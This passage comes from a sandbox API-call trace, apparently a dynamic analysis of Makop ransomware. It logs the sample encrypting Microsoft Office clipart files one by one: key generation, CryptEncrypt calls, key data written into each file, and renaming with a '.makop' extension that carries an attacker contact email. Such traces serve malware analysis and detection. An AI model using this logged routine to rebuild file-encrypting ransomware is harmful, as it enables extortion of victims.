liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.715] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.715] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcd6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcd6, lpOverlapped=0x0) returned 1 [0114.715] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0, dwBufLen=0xce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0) returned 1 [0114.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.715] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xce0, lpOverlapped=0x0) returned 1 [0114.715] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.716] SetEndOfFile (hFile=0xf0) returned 1 [0114.723] GetProcessHeap () returned 0x48a0000 [0114.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.723] GetProcessHeap () returned 0x48a0000 [0114.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.723] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.724] CloseHandle (hObject=0xf0) returned 1 [0114.725] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0114.725] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0114.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.725] GetProcessHeap () returned 0x48a0000 [0114.725] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.726] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.726] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.750] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.750] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.751] GetProcessHeap () returned 0x48a0000 [0114.751] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.752] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.752] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.752] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.752] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.753] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.753] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.753] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.754] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7a8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7a8, lpOverlapped=0x0) returned 1 [0114.754] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7b0, dwBufLen=0x7b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7b0) returned 1 [0114.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7b0, lpOverlapped=0x0) returned 1 [0114.755] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.755] SetEndOfFile (hFile=0xf0) returned 1 [0114.764] GetProcessHeap () returned 0x48a0000 [0114.764] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.764] GetProcessHeap () returned 0x48a0000 [0114.764] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.764] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.771] CloseHandle (hObject=0xf0) returned 1 [0114.772] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0114.772] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0114.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.775] GetProcessHeap () returned 0x48a0000 [0114.775] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.775] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0114.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.780] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.780] GetProcessHeap () returned 0x48a0000 [0114.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.781] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.781] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.782] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.783] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe4e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe4e, lpOverlapped=0x0) returned 1 [0114.783] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe50, dwBufLen=0xe50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe50) returned 1 [0114.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe50, lpOverlapped=0x0) returned 1 [0114.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.783] SetEndOfFile (hFile=0xf0) returned 1 [0114.790] GetProcessHeap () returned 0x48a0000 [0114.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.790] GetProcessHeap () returned 0x48a0000 [0114.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.791] CloseHandle (hObject=0xf0) returned 1 [0114.791] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0114.791] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0114.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.792] GetProcessHeap () returned 0x48a0000 [0114.792] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.792] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.797] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.797] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.797] GetProcessHeap () returned 0x48a0000 [0114.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.797] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.800] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.800] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbc8, lpOverlapped=0x0) returned 1 [0114.800] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd0) returned 1 [0114.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbd0, lpOverlapped=0x0) returned 1 [0114.800] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.801] SetEndOfFile (hFile=0xf0) returned 1 [0114.807] GetProcessHeap () returned 0x48a0000 [0114.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.807] GetProcessHeap () returned 0x48a0000 [0114.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.807] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.808] CloseHandle (hObject=0xf0) returned 1 [0114.809] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0114.809] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0114.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.809] GetProcessHeap () returned 0x48a0000 [0114.809] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.809] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.810] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.810] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.814] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.814] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.815] GetProcessHeap () returned 0x48a0000 [0114.815] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.815] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.815] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.815] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.815] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, 